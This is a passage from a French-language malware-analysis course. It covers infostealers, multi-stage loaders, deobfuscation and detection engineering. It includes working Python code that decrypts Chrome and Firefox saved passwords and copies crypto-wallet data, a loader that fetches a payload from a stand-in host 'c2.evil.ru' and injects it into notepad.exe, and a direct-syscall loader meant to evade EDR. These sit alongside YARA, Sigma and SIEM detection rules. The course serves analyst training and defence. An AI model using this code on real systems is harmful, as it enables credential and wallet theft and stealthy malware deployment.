Chiffrement partiel prévisible	Certains ransomwares chiffrent seulement une portion du fichier de façon déterministe. Si la taille est connue et le pattern prévisible, une récupération partielle est possible. Exemples : Optimisations agressives de certains RaaS

CHAPITRE 8

Stealers Modernes

DPAPI, SQLite, wallets, Telegram — les mécanismes complets de vol de données

8.1 Architecture d'un stealer moderne

Un stealer moderne est une application multi-modules bien structurée. Il y a le core (gestion du cycle de vie, communication C2, collecte système), les modules de vol (browser, wallets, apps, desktop), et le module d'exfiltration (compression, chiffrement, envoi). Les stealers as-a-service modernes (RedLine, Lumma, Vidar) ont une configuration reçue du C2 qui active/désactive des modules selon les besoins de l'affiliate.

8.2 Chrome DPAPI — le vol de mots de passe en détail absolu

Chrome 80+ chiffre ses mots de passe et cookies avec AES-256-GCM. La clé AES elle-même est chiffrée avec DPAPI (Data Protection API Windows). Ce mécanisme lie le chiffrement au compte Windows de l'utilisateur : seul ce compte peut déchiffrer. Pour un stealer qui tourne dans le contexte de l'utilisateur, c'est parfaitement accessible.

Vol complet mots de passe Chrome — code commenté

```
# Vol complet de mots de passe Chrome — code annotés ligne par ligne
# C'est exactement ce que fait RedLine/Lumma/etc sous le capot

import os, json, base64, sqlite3, shutil
from Crypto.Cipher import AES
import ctypes, ctypes.wintypes

# === ÉTAPE 1 : Obtenir la clé de chiffrement Chrome ===
# La clé est dans Local State (JSON), champ os_crypt.encrypted_key

def get_chrome_master_key():
    local_state_path = os.path.expandvars(
        r'%LOCALAPPDATA%\Google\Chrome\User Data\Local State'
    )
    with open(local_state_path, 'r', encoding='utf-8') as f:
        local_state = json.load(f)

    # Extraire la clé encodée en base64
    encrypted_key_b64 = local_state['os_crypt']['encrypted_key']
    encrypted_key = base64.b64decode(encrypted_key_b64)
```

```
    # Les 5 premiers bytes sont 'DPAPI' comme marqueur — on les retire
    if encrypted_key[:5] != b'DPAPI':
        raise ValueError('Pas une clé DPAPI')
    encrypted_key = encrypted_key[5:]

    # Appeler CryptUnprotectData via ctypes (DPAPI)
    # La clé est liée au compte Windows courant → fonctionne seulement
    # si on tourne sous le même compte que l'utilisateur Chrome
    class DATA_BLOB(ctypes.Structure):
        _fields_ = [('cbData', ctypes.wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes
.c_ubyte))]

    p = ctypes.create_string_buffer(encrypted_key, len(encrypted_key))
    blobin = DATA_BLOB(ctypes.sizeof(p), ctypes.cast(p, ctypes.POINTER(ctypes.c_ubyte))
)
    blobout = DATA_BLOB()
    retval  = ctypes.windll.crypt32.CryptUnprotectData(
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout)
    )
    if not retval:
        raise ctypes.WinError()

    # Extraire les bytes de la clé déchiffrée
    master_key = bytes(ctypes.cast(blobout.pbData,
        ctypes.POINTER(ctypes.c_ubyte * blobout.cbData)).contents)
    ctypes.windll.kernel32.LocalFree(blobout.pbData)  # Libérer la mémoire DPAPI
    return master_key  # 32 bytes = clé AES-256

# === ÉTAPE 2 : Ouvrir la base SQLite des mots de passe ===

def steal_chrome_passwords(master_key):
    db_path = os.path.expandvars(
        r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data'
    )
    # Chrome verrouille la DB quand il tourne → copier dans un temp
    tmp_path = os.path.join(os.environ['TEMP'], 'chrome_logindata')
    shutil.copy2(db_path, tmp_path)

    conn = sqlite3.connect(tmp_path)
    cursor = conn.cursor()

    # La table logins contient toutes les credentials
    cursor.execute(
```

```
        'SELECT origin_url, username_value, password_value FROM logins'
    )
    results = []
    for url, username, encrypted_pw in cursor.fetchall():
        if encrypted_pw[:3] == b'v10' or encrypted_pw[:3] == b'v11':
            # Format Chrome 80+ : 'v10' + IV(12) + ciphertext + tag(16)
            iv         = encrypted_pw[3:15]          # 12 bytes IV pour GCM
            ciphertext = encrypted_pw[15:-16]         # Données chiffrées
            tag        = encrypted_pw[-16:]           # Tag d'authenticité GCM
            try:
                cipher = AES.new(master_key, AES.MODE_GCM, nonce=iv)
                password = cipher.decrypt_and_verify(ciphertext, tag).decode()
                results.append({'url': url, 'user': username, 'pass': password})
            except Exception as e:
                results.append({'url': url, 'user': username, 'pass': f'ERROR: {e}'})
        else:
            # Ancien format Chrome (< 80) : DPAPI directement
            # Même appel CryptUnprotectData mais sur password_value directement
            pass
    conn.close()
    os.remove(tmp_path)
    return results
# Utilisation
master_key = get_chrome_master_key()
credentials = steal_chrome_passwords(master_key)
for cred in credentials:
    print(f'[{cred["url"]}] {cred["user"]} : {cred["pass"]}')
```

8.3 Firefox NSS — chiffrement différent de Chrome

Firefox utilise un système de chiffrement complètement différent : NSS (Network Security Services). Les mots de passe sont chiffrés dans des fichiers SQLite ({ic('logins.json')} et {ic('key4.db')}). La clé principale est dans {ic('key4.db')} (NSS key database). Par défaut, Firefox n'a pas de master password — la clé est chiffrée avec une clé dérivée d'un salt vide, ce qui est trivialement cassable.

Firefox NSS — vol de mots de passe via nss3.dll

```
# Vol de mots de passe Firefox — NSS sans master password
```

```
# Les stealers utilisent la librairie NSS directement :
# Firefox embarque nss3.dll que les stealers chargent et utilisent

import ctypes, os, json, base64

# Charger nss3.dll depuis le répertoire Firefox
firefox_path = r'C:\Program Files\Mozilla Firefox'
nss3 = ctypes.CDLL(os.path.join(firefox_path, 'nss3.dll'))

# Initialiser NSS avec le profil Firefox
profile_dir = os.path.expandvars(
    r'%APPDATA%\Mozilla\Firefox\Profiles'
)
# Trouver le profil default
profiles = [d for d in os.listdir(profile_dir) if d.endswith('.default') or d.endswith(
'.default-release')]
profile_path = os.path.join(profile_dir, profiles[0]) if profiles else None

if profile_path:
    nss3.NSS_Init(profile_path.encode())

    # Lire logins.json
    with open(os.path.join(profile_path, 'logins.json')) as f:
        logins = json.load(f)

    # Pour chaque login, déchiffrer username et password
    class SECItem(ctypes.Structure):
        _fields_ = [('type', ctypes.c_uint), ('data', ctypes.c_char_p), ('len', ctypes.
c_uint)]

    for login in logins['logins']:
        for field in ['encryptedUsername', 'encryptedPassword']:
            encrypted_b64 = login[field]
            encrypted = base64.b64decode(encrypted_b64)

            # PK11SDR_Decrypt : déchiffre avec NSS
            data_in  = SECItem(0, encrypted, len(encrypted))
            data_out = SECItem()
            nss3.PK11SDR_Decrypt(ctypes.byref(data_in), ctypes.byref(data_out), None)

            if data_out.data:
                decrypted = ctypes.string_at(data_out.data, data_out.len).decode()
                print(f'{field}: {decrypted}')
                nss3.SECITEM_FreeItem(ctypes.byref(data_out), False)
```

```
    nss3.NSS_Shutdown()

# RÉSISTANCE :
# Configurer un Master Password dans Firefox (Préférences → Vie privée → Mots de passe)
# Avec un master password fort, PK11SDR_Decrypt demande le mot de passe
# → Le stealer ne peut pas décrypter silencieusement
```

8.5 Crypto Wallets — extension Chrome et fichiers locaux

Les stealers modernes ciblent agressivement les crypto wallets. Deux vecteurs principaux : les extensions de navigateur (MetaMask, Phantom) et les wallets desktop (Electrum, Exodus).

Vol de crypto wallets — extension Chrome et desktop

```
# Vol de wallets crypto — détection des cibles

WALLET_TARGETS = {
    # Extensions Chrome (répertoire dans AppData)
    'MetaMask':    'nkbihfbeogaeaoehlefnkodbefgpgknn',
    'Phantom':     'bfnaelmomeimhlpmgjnjophhpkkoljpa',
    'Coinbase':    'hnfanknocfeofbddgcijnmhnfnkdnaad',
    'TronLink':    'ibnejdfjmmkpcnlpebklmnkoeoihofec',
    'BinanceChain':'fhbohimaelbohpjbbldcngcnapndodjp',

    # Wallets desktop
    'Electrum':    r'%APPDATA%\Electrum\wallets',
    'Exodus':      r'%APPDATA%\Exodus\exodus.wallet',
    'Atomic':      r'%APPDATA%\atomic\Local Storage\leveldb',
    'Jaxx':        r'%APPDATA%\com.liberty.jaxx\IndexedDB',
    'Coinomi':     r'%LOCALAPPDATA%\Coinomi\Coinomi\wallets',

    # Hardware wallet companion apps
    'Ledger Live': r'%APPDATA%\Ledger Live',
    'Trezor Suite': r'%APPDATA%\Trezor Suite',
}

def steal_chrome_extensions(extension_id):
    """Copier les données d'une extension Chrome"""
    ext_path = os.path.expandvars(
        fr'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\{extension_id}'
    )
```

```
    if os.path.exists(ext_path):
        # LevelDB contient les données de l'extension
        # Pour MetaMask : la vault chiffrée avec le mot de passe de l'extension
        # On copie le LevelDB entier et on l'analyse offline
        dest = os.path.join(EXFIL_DIR, f'ext_{extension_id}')
        shutil.copytree(ext_path, dest)
        print(f'Extension {extension_id} : données copiées ({os.path.getsize(dest)} byt
es)')

# Pour MetaMask spécifiquement :
# Le vault dans LevelDB est chiffré avec AES-GCM
# Clé = PBKDF2(mot_de_passe_utilisateur, salt, 10000 iterations, 256 bits)
# Sans le mot de passe de l'utilisateur → indéchiffrable
# Mais : si l'utilisateur a déverrouillé MetaMask récemment,
# la clé déchiffrée peut être en mémoire dans le processus Chrome !
# → Dump de la mémoire Chrome + recherche de patterns de clé

# Electrum : le wallet file est JSON avec la masterkey chiffrée
# Sécurité dépend du mot de passe Electrum configuré
# Beaucoup d'utilisateurs ont un mot de passe vide → wallet directement accessible
```

CHAPITRE 9

Loaders et Stagers

Architecture multi-stages, memory-only, syscall-based — la logistique du déploiement malware

9.1 Pourquoi les malwares modernes sont multi-stages

Un malware monolithique (tout le code dans un seul EXE) est facile à détecter : un seul fichier contient toutes les signatures. L'architecture multi-stages découple le vecteur d'infection du payload final. Chaque stage est petit, générique, et évolutif indépendamment des autres. Le stage 1 (macro, LNK, dropper) peut changer de forme tous les jours sans toucher au payload final.

Architecture typique en 4 stages : **Stage 0** — vecteur d'entrée (macro, exploit, phishing). Souvent brûlé rapidement. **Stage 1** — stager léger (télécharge le stage 2). Peut être un script, un shellcode simple. **Stage 2** — loader (déchiffre et injecte le stage 3). Persiste. **Stage 3** — payload final (RAT, stealer, ransomware). Jamais touche le disque.

9.3 Memory-only payloads — ne jamais toucher le disque

Le Graal de l'évasion : le payload final ne touche jamais le disque. Il est téléchargé depuis le C2, déchiffré en mémoire, injecté dans un processus légitime. Pas de fichier = pas de scan AV = pas d'artefact forensique sur le disque.

Memory-only loader — download-decrypt-inject

```
; Loader memory-only — download-decrypt-inject en pseudocode

void memory_only_loader() {
    // 1. Télécharger le payload chiffré depuis le C2
    // Utilisé via WinHTTP pour éviter les hooks WinINet
    HINTERNET hSession = WinHttpOpen(L'Mozilla/5.0',
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
    HINTERNET hConn = WinHttpConnect(hSession, L'c2.evil.ru', 443, 0);
    HINTERNET hReq  = WinHttpOpenRequest(hConn, L'GET', L'/update.bin',
        NULL, WINHTTP_NO_REFERER, NULL, WINHTTP_FLAG_SECURE);
    WinHttpSendRequest(hReq, NULL, 0, NULL, 0, 0, 0);
    WinHttpReceiveResponse(hReq, NULL);

    // Lire le payload chiffré
    BYTE* encrypted_payload = malloc(payload_size);
    WinHttpReadData(hReq, encrypted_payload, payload_size, &bytes_read);

    // 2. Déchiffrer en mémoire (AES-256 avec clé hardcodée ou dérivée)
```

```
    BYTE* decrypted = VirtualAlloc(NULL, payload_size, MEM_COMMIT|MEM_RESERVE,
        PAGE_READWRITE);  // PAGE_READWRITE d'abord, pas encore executable
    aes256_decrypt(encrypted_payload, payload_size, AES_KEY, decrypted);
    free(encrypted_payload);  // Effacer le chiffré

    // 3. Changer les permissions AVANT d'exécuter
    DWORD old_protect;
    VirtualProtect(decrypted, payload_size, PAGE_EXECUTE_READ, &old_protect);
    // Pourquoi pas EXECUTE_READWRITE ? Moins suspect.
    // Écriture terminée → on retire le droit d'écriture

    // 4. Injecter dans un processus légitime (ex: notepad.exe déjà ouvert)
    HANDLE hProcess = find_target_process(L'notepad.exe');
    LPVOID remote = VirtualAllocEx(hProcess, NULL, payload_size,
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READ);
    WriteProcessMemory(hProcess, remote, decrypted, payload_size, NULL);
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remote,
        NULL, 0, NULL);

    // 5. Effacer notre copie locale du payload déchiffré
    SecureZeroMemory(decrypted, payload_size);
    VirtualFree(decrypted, 0, MEM_RELEASE);

    // Résultat : notepad.exe exécute maintenant le RAT/stealer
    // Aucun fichier sur le disque. Seule trace : le trafic réseau vers c2.evil.ru
}

; IOCs à chercher malgré le memory-only :
; - Trafic HTTPS vers /update.bin ou autre chemin suspicious
; - VirtualAllocEx + WriteProcessMemory + CreateRemoteThread sur notepad.exe
; - Région mémoire rwx ou rx dans notepad.exe sans fichier associé
; - notepad.exe fait des connexions réseau (il ne devrait pas)
; - Sysmon Event 8 : CreateRemoteThread detected
; - Sysmon Event 10 : Process access (WriteProcessMemory)
```

9.5 Syscall-based loaders — éviter les hooks EDR au maximum

On a vu les direct syscalls au chapitre 4. Un syscall-based loader pousse ce concept plus loin : il utilise des syscalls directs pour TOUTES ses opérations sensibles, pas juste quelques-unes. Chaque allocation, chaque écriture, chaque création de thread — tout passe par des syscalls directs. Résultat :

l'EDR, même s'il hook ntdll.dll, ne voit rien.

SysWhispers3 — génération de direct syscalls anti-EDR

```
# Génération automatique de syscall stubs avec SysWhispers3
# Outil créé par the @Jackson_T et @modexpblog

# Installation
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip install -r requirements.txt --break-system-packages

# Générer les syscall stubs pour les fonctions dont tu as besoin
python3 syswhispers.py -a x64 -f NtAllocateVirtualMemory,NtWriteVirtualMemory,
    NtCreateThreadEx,NtOpenProcess,NtProtectVirtualMemory
    -o syscalls_output

# Génère : syscalls_output.h et syscalls_output.c
# Chaque fonction a son propre syscall number détecté dynamiquement

# Dans ton loader C/C++ :
#include 'syscalls_output.h'

void loader() {
    // Allouer de la mémoire — DIRECT SYSCALL, pas VirtualAllocEx
    HANDLE hProcess = ...; // Target process
    PVOID  base     = NULL;
    SIZE_T size     = payload_size;
    // NtAllocateVirtualMemory depuis syscalls_output.h
    // → N'appelle PAS kernel32.VirtualAllocEx → PAS de hook EDR sur cette path
    NtAllocateVirtualMemory(hProcess, &base, 0, &size,
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Écrire le payload — DIRECT SYSCALL
    SIZE_T written;
    NtWriteVirtualMemory(hProcess, base, payload, payload_size, &written);

    // Créer le thread — DIRECT SYSCALL
    HANDLE hThread;
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess,
        base, NULL, FALSE, 0, 0, 0, NULL);
}

# COMMENT DÉTECTER MALGRÉ LES DIRECT SYSCALLS :
# Les EDR modernes (CrowdStrike Falcon, SentinelOne) ont des hooks KERNEL
```

```
# qui ne peuvent pas être bypassed par les direct syscalls
# Ils utilisent : ETW (Event Tracing for Windows) callbacks,
#                 PsSetCreateThreadNotifyRoutine (kernel callback),
#                 et des mini-filtres sur les I/O
# → Ces mécanismes kernel voient tous les syscalls même 'directs'
# → C'est la raison pour laquelle les EDR avancés détectent SysWhispers3
```

CHAPITRE 10

Désobfuscation — Méthode Couche par Couche

La philosophie et la pratique de décortiquer un malware de l'extérieur vers l'intérieur

10.1 La philosophie du décorticage

Décortiquer un malware obfusqué n'est pas un problème technique unique — c'est une série de problèmes imbriqués. L'erreur la plus courante est d'essayer de tout comprendre en même temps. La bonne approche : traiter chaque couche d'obfuscation comme un problème séparé, le résoudre, et passer à la suivante.

Imagine un oignon. Chaque couche cache la couche suivante. Tu ne peux pas voir la couche 3 avant d'avoir retiré les couches 1 et 2. Et tu ne sais pas combien de couches il y a avant d'avoir commencé. La méthode : retire la première couche que tu vois, regarde ce qui est en dessous, décide de la prochaine action. Itère jusqu'à ce que tu voies du code qui a du sens.

Identifier les couches — checklist

- DIE identifie un packer ou protecteur → couche d'unpacking nécessaire
- Entropie > 7.0 dans les sections de code → chiffrement présent
- Très peu d'imports légitimes (juste LoadLibrary + GetProcAddress) → import obfuscation
- Beaucoup de junk code et conditions impossibles → control flow obfuscation
- Strings chiffrées (aucune URL ou nom API visible) → string obfuscation
- Décompilateur Ghidra génère du code incohérent → virtualisation possible

10.2 Niveau 1 — Unpacking dynamique

La première couche est presque toujours un packer. Méthode universelle : laisse le packer faire son travail, intercepte au moment OEP. Puis dump et reconstruis le PE.

Unpacking universel — workflow détaillé

```
; Workflow d'unpacking universel — s'applique à 90% des packers

; Pré-requis : ScyllaHide actif dans x64dbg

; Étape 1 : Lancer dans x64dbg, Run to User Code (Debug menu)
; Tu es maintenant dans le stub du packer, pas dans le vrai code

; Étape 2 : Méthode ESP
; - Note la valeur de RSP
```

```
; - Dans la Stack View : clic droit sur la valeur à [RSP] → Hardware BP Execute
; - F9 → le packer décompresse...
; - BP se déclenche quand le packer fait POPAD/JMP vers l'OEP

; Étape 3 : Vérifier qu'on est à l'OEP
; - Les premières instructions doivent ressembler à un prologue standard
;   (PUSH RBP / MOV RBP RSP / SUB RSP, X)
; - Ou à une initialisation CRT standard si c'est un EXE
; - Ghidra avec l'adresse courante devrait montrer du code lisible

; Étape 4 : Dump avec Scylla
; Plugins → Scylla → IAT Autosearch → Get Imports
; Vérifier que tous les imports sont résolus (aucun invalide)
; Si des imports sont invalides : Fix manuellement (cherche l'adresse réelle)
; Dump → choisit le nom
; Fix Dump → sélectionne le dump sauvé → Scylla l'analyse et corrige les offsets

; Étape 5 : Valider le dump
; - Ouvre le dump dans Ghidra
; - DIE doit identifier le compilateur, pas un packer
; - L'analyse Ghidra doit générer du pseudocode lisible
; - Les imports doivent être visibles dans l'Import Directory

; SI ÇA NE MARCHE PAS :
; - Packer multi-stages → refaire Étapes 1-4 sur le dump
; - Packer avec anti-dump → essaie CrazyDumpDumper ou autres outils spécialisés
; - VMProtect/Themida → abandon de l'approche statique, analyse dynamique pure
```

10.3 Niveau 2 — Déchiffrement des strings

Une fois le payload dépacké, les strings sont souvent encore chiffrées. Méthode systématique :

Étape 1 — FLOSS. Lance FLOSS sur le binaire dépacké. FLOSS identifie et émule les fonctions de déchiffrement simples (XOR, ROT, base64). Pour 50-60% des malwares, ça suffit pour obtenir les strings déchiffrées.

Étape 2 — Identifier la fonction de déchiffrement dans Ghidra. Cherche une fonction avec une boucle + XOR ou ADD. Regarde les xrefs — si cette fonction est appelée 50 fois, c'est le déchiffreur. Identifie la clé et l'algorithme.

Étape 3 — Script Python ou Ghidra. Extrais les données chiffrées depuis Ghidra (Copy Special → Byte String). Écris un script Python pour déchiffrer. Ou écris un script Ghidra pour déchiffrer en place dans la database.

10.4 Niveau 3 — Reconstruire la sémantique

Strings déchiffrées, flux de contrôle aplati. Maintenant : comprendre CE QUE FAIT le code. C'est le vrai travail d'analyse — les niveaux 1 et 2 étaient de la mécanique.

Méthode pour reconstruire la sémantique :

- Commence par la fonction qui est appelée le plus souvent (xrefs) — c'est souvent l'utilitaire central
- Identifie les 'séquences API' : WinAPI + WinAPI + WinAPI dans un ordre qui dit quelque chose
- Renomme immédiatement chaque fonction quand tu comprends son rôle, même si c'est vague (parse_config, send_beacon, execute_command)
- Cherche les structures de données : si un pointeur est passé à 5 fonctions différentes, c'est une structure importante — définis-la
- Note les 'decision points' : les conditions qui changent le comportement (check_admin, check_av, check_locale)

10.7 Cas pratique complet — décortiquer un sample réel

Checklist complète de décorticage couche par couche

```
; Checklist de décorticage couche par couche — à suivre sur chaque sample

; === COUCHE 0 : Triage initial (5 min) ===
; DIE       → packer/compilateur/langage
; FLOSS     → strings intéressantes même obfusquées
; pefile    → imports, sections, entropie, imphash
; Hash      → recherche VT/Bazaar
; DÉCISION  → analyse statique, dynamique, ou les deux ?

; === COUCHE 1 : Unpacking (15-30 min si nécessaire) ===
; UPX auto  → upx -d si UPX standard
; ESP method → x64dbg si custom packer
; Valider le dump → DIE sur le dump, entropie normale ?
; BOUCLER si encore des couches

; === COUCHE 2 : Import resolution (10 min) ===
; Identifier les imports dans Ghidra
; Chercher GetProcAddress xrefs → identifier les imports dynamiques
; Mapper les imports dynamiques vers des noms de fonctions

; === COUCHE 3 : String decryption (15-30 min) ===
; FLOSS sur le dump
; Trouver la fonction déchiffreur dans Ghidra (xrefs, boucle+XOR)
; Script Python pour déchiffrer en batch
```

```
; === COUCHE 4 : Flow reconstruction (30 min - 2h) ===
; Identifier les anti-debug et les bypasser
; Tracer dynamiquement les paths importants
; Renommer les fonctions dans Ghidra

; === COUCHE 5 : Analyse sémantique (1-3h) ===
; Identifier les modules (C2, persistence, payload)
; Extraire la configuration complète
; Mapper sur MITRE ATT&CK

; === COUCHE 6 : Documentation (30 min) ===
; IOCs complets et validés
; Règles YARA et Sigma
; Rapport technique
; Import dans MISP
```

CHAPITRE 11

Détection Engineering

De l'analyse à la règle — détecter les TTPs, pas les samples

11.1 La philosophie : détecter les TTPs, pas les samples

La plus grosse erreur en détection malware : créer des règles basées sur les bytes d'un sample spécifique. Le malware est recompilé demain, tous les bytes changent, ta règle est invalide. La bonne approche : détecter les COMPORTEMENTS qui restent stables entre variantes.

La pyramide de la douleur de David Bianco illustre ça parfaitement. En bas : les hash (changer un bit = nouveau hash). Au-dessus : les IPs (changent en quelques jours). Puis les domaines (quelques semaines). Puis les artefacts réseau (User-Agent, URI patterns — quelques mois). Puis les outils (mois à années). En haut : les TTPs (extrêmement stable — l'adversaire doit changer de façon de travailler).

Pour toi en tant qu'analyste : après chaque analyse, demande-toi quelle détection sera encore valide dans 6 mois. Le hash : non. Le User-Agent hardcodé : oui, si c'est vraiment hardcodé dans le code. La séquence VirtualAllocEx + WriteProcessMemory + CreateRemoteThread : oui. La présence de PE header dans une région mémoire privée : oui.

11.2 YARA : détecter les familles, pas les samples

Une règle YARA qui cible une famille entière est infiniment plus utile qu'une règle qui cible un sample. Pour ça, les strings que tu choisis doivent être : stables entre variants (pas des configs qui changent), rares dans les fichiers légitimes (peu de FP), et présentes dans toutes les variantes connues.

Règle YARA famille complète — RedLine Stealer

```
import "pe"
import "math"

// Règle pour détecter la famille RedLine Stealer
// Basée sur les patterns stables entre versions
rule RedLine_Stealer_Family {
    meta:
        author = "SOC Team"
        description = "Détecte RedLine Stealer basé sur patterns stables V2.0+"
        date = "2025-04-16"
        reference = "Analyse interne REF-2025-XXX"
        tlp = "AMBER"
        score = 90
```

```
    strings:
        // Chemin Chrome Login Data — stable dans toutes les versions
        $chrome_path = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide ascii

        // Requête SQL — signature de vol de credentials Chrome
        $sql_logins = "SELECT origin_url, username_value, password_value FROM logins" a
scii

        // API DPAPI — déchiffrement des mots de passe Chrome
        $dpapi_call = "CryptUnprotectData" ascii

        // Pattern d extraction de cookies
        $cookie_path = "\\Network\\Cookies" wide ascii

        // Exfiltration vers panel (endpoint commun)
        // Note : utiliser wide car souvent Unicode
        $panel_path  = "/gate.php" ascii wide

        // String de version visible dans certaines variantes
        $version_str = "RedLine" ascii wide

        // Alternative : mutex unique si connu pour cette campagne
        // $mutex = "RedLine_Mutex_XXXXX" wide

    condition:
        // Fichier PE valide
        uint16(0) == 0x5A4D

        // Taille raisonnable pour un stealer
        and filesize < 15MB

        // .NET ou natif
        and (
            // Variantes .NET
            (pe.imports("mscoree.dll", "_CorExeMain") and $chrome_path and $sql_logins)
            or
            // Variantes natives
            ($chrome_path and $sql_logins and $dpapi_call and $panel_path)
        )

        // Au moins 3 des 5 strings clés
        and (
            (uint8(0) == 0x4D and  // Just another way to check MZ
            for 3 of ($chrome_path, $sql_logins, $dpapi_call, $cookie_path, $panel_path
) : ($))
```

```
        )
}

// Règle complémentaire : détecter la phase d injection de RedLine
rule RedLine_ProcessInjection_Behavior {
    meta:
        description = "Détecte la séquence d injection de RedLine (pattern comportement
al)"

    strings:
        // Séquence bytes caractéristique du loader RedLine
        $inject_seq = {
            48 8B ?? ??          // MOV Rx, [mem]
            FF 15 ?? ?? ?? ??    // CALL [IAT_VirtualAllocEx]
            [2-8]
            FF 15 ?? ?? ?? ??    // CALL [IAT_WriteProcessMemory]
        }

    condition:
        pe.imports("kernel32.dll", "VirtualAllocEx") and
        pe.imports("kernel32.dll", "WriteProcessMemory") and
        pe.imports("kernel32.dll", "CreateRemoteThread") and
        $inject_seq
}
```

11.3 Sigma : règles comportementales SIEM

Les règles Sigma détectent les comportements dans les logs — ce que les malwares font au niveau système, pas comment ils sont implémentés. C'est le niveau le plus durable de détection.

Règles Sigma — Stealers et Process Injection

```
# Règle Sigma — Détecte le pattern d'un stealer Chrome
# Basée sur les événements Sysmon (file access + process creation)

title: Stealer Chrome Credential Access Pattern
id: a4b5c6d7-e8f9-0123-abcd-ef4567890123
status: stable
description: |
    Détecte un pattern d'accès aux fichiers Chrome suivi d'une connexion réseau,
    caractéristique d'un stealer. Un processus non-Chrome accède à Login Data
    puis se connecte à une IP externe.
```

```
author: SOC Team
date: 2025/04/16
tags:
    - attack.credential_access
    - attack.t1555.003  # Credentials from Web Browsers
    - attack.exfiltration
    - attack.t1041      # Exfiltration over C2
logsource:
    product: windows
    category: file_event  # Sysmon Event ID 11
detection:
    # Accès à Login Data par un processus non-Chrome
    file_access:
        EventID: 11
        TargetFilename|contains:
            - 'Google\Chrome\User Data\Default\Login Data'
            - 'Google\Chrome\User Data\Default\Cookies'
            - 'Google\Chrome\User Data\Default\Web Data'
    filter_chrome:
        Image|endswith:
            - '\chrome.exe'
            - '\GoogleCrashHandler.exe'
            - '\GoogleUpdate.exe'
    condition: file_access and not filter_chrome
    timeframe: 5m

# Règle complémentaire — corréler avec connexion réseau sortante
# (nécessite corrélation dans le SIEM : même ProcessId + même host)

---

title: Process Injection via Classic API Sequence
id: b5c6d7e8-f901-2345-bcde-f01234567890
status: stable
description: |
    Séquence d'API OpenProcess → VirtualAllocEx → WriteProcessMemory →
    CreateRemoteThread dans le même processus. Pattern d'injection classique.
logsource:
    product: windows
    category: process_access  # Sysmon Event 10
```

```
detection:
    selection_injection:
        EventID: 10  # ProcessAccess
        GrantedAccess|contains:
            - '0x1F0FFF'   # PROCESS_ALL_ACCESS
            - '0x1FFFFF'
        # Processus légitimes qui n'injectent PAS normalement
        SourceImage|endswith:
            - '.exe'
    filter_legit:
        # Exclure les outils légitimes qui font de la process introspection
        SourceImage|contains:
            - '\Program Files\Windows Defender\'
            - '\Program Files\CrowdStrike\'
            - '\SysInternals\'
    condition: selection_injection and not filter_legit
level: high
falsepositives:
    - Outils de debugging légitimes
    - Outils de monitoring de performance
```

11.4 Corrélation SIEM — détecter les séquences d'événements

La détection la plus robuste n'est pas sur un seul événement mais sur une séquence d'événements dans un délai donné. Un seul accès à Login Data peut être légitime (un outil de sync). Un accès à Login Data suivi d'une connexion réseau externe par le même processus dans les 5 minutes — beaucoup moins.

Corrélation SIEM — détecter la séquence stealer

```
# Corrélation SIEM en pseudo-SPL (Splunk) pour détecter un stealer

# Étape 1 : Capturer les accès Chrome
index=sysmon EventCode=11
    TargetFilename IN ('*\Google\Chrome\User Data\Default\Login Data',
                       '*\Google\Chrome\User Data\Default\Cookies')
    NOT Image IN ('*\chrome.exe', '*\GoogleUpdate.exe')
| eval access_time=_time, stealer_pid=ProcessId, stealer_host=host
| fields access_time, stealer_pid, stealer_host, Image
```

```
| eval phase='chrome_access'

# Étape 2 : Capturer les connexions réseau
index=sysmon EventCode=3
    NOT DestinationIp IN ('10.*', '192.168.*', '172.16.*', '127.*')
| eval net_time=_time, net_pid=ProcessId, net_host=host, net_dst=DestinationIp
| fields net_time, net_pid, net_host, net_dst
| eval phase='network'

# Étape 3 : Corréler — même PID, même host, dans les 5 minutes
# (pseudo-code — la vraie syntaxe dépend du SIEM)
JOIN ON (stealer_pid = net_pid AND stealer_host = net_host
         AND abs(access_time - net_time) < 300)  // 5 minutes

# Résultat : processus qui accède à Chrome ET se connecte à l'extérieur
# → Score de risque élevé → escalade SOC ou auto-containment

# Pour Elastic / KQL équivalent :
# event.code: '11' AND file.path: '*Login Data' AND NOT process.name: 'chrome.exe'
# Suivi de : event.code: '3' AND network.direction: 'outbound'
# Avec : process.pid = [valeur du premier événement] dans les 5 minutes
```

11.5 Cycle de vie d'une règle de détection

Une règle de détection n'est pas un artefact statique. Elle vieillit, génère des FP, et doit être maintenue. Voici le cycle de vie qu'une équipe SOC mature devrait appliquer :

Création	Basée sur une analyse de malware ou un incident réel. Bien documentée avec la source de la détection (hash analysé, rapport CTI).
Test	Tester contre des samples connus (true positives) et des fichiers légitimes (chercher les false positives). Utilise ta sandbox.
Staging	Déployer en mode 'Alert only' sans bloquer. Observer le volume d'alertes et le taux de FP pendant 1-2 semaines.
Tuning	Ajouter des filtres pour réduire les FP identifiés. Ne pas sur-filtrer au point de rater de vrais positifs.
Production	Déployer avec l'action appropriée (alert, auto-tag, ou block selon la confiance).
Maintenance	Revue périodique (tous les 6 mois). Tester contre les nouveaux samples de la famille. Mettre à jour si la famille évolue.

Retraite	Si la règle génère >95% de FP et que la famille est éteinte : archiver, ne pas supprimer (valeur historique).

Ce que tu maîtrises après ce cours

Ce cours t'a emmené au coeur de ce que les malwares font réellement. Pas les noms des techniques — les mécanismes. La différence entre savoir qu'un stealer 'vole les mots de passe Chrome' et comprendre exactement comment DPAPI fonctionne, comment les bytes de la base SQLite sont structurés, et où la clé AES-GCM est stockée — c'est la différence entre un analyste qui lit les rapports des autres et un analyste qui produit des rapports que les autres lisent.

Chaque technique d'obfuscation que tu as vue a sa contrepartie de détection. Chaque injection a ses traces. Chaque ransomware a ses failles potentielles. Chaque stealer laisse des artefacts. La clé est de savoir où chercher.

Un malware n'est pas magique. C'est du code. Et tout code peut être lu — avec suffisamment de méthode et de patience.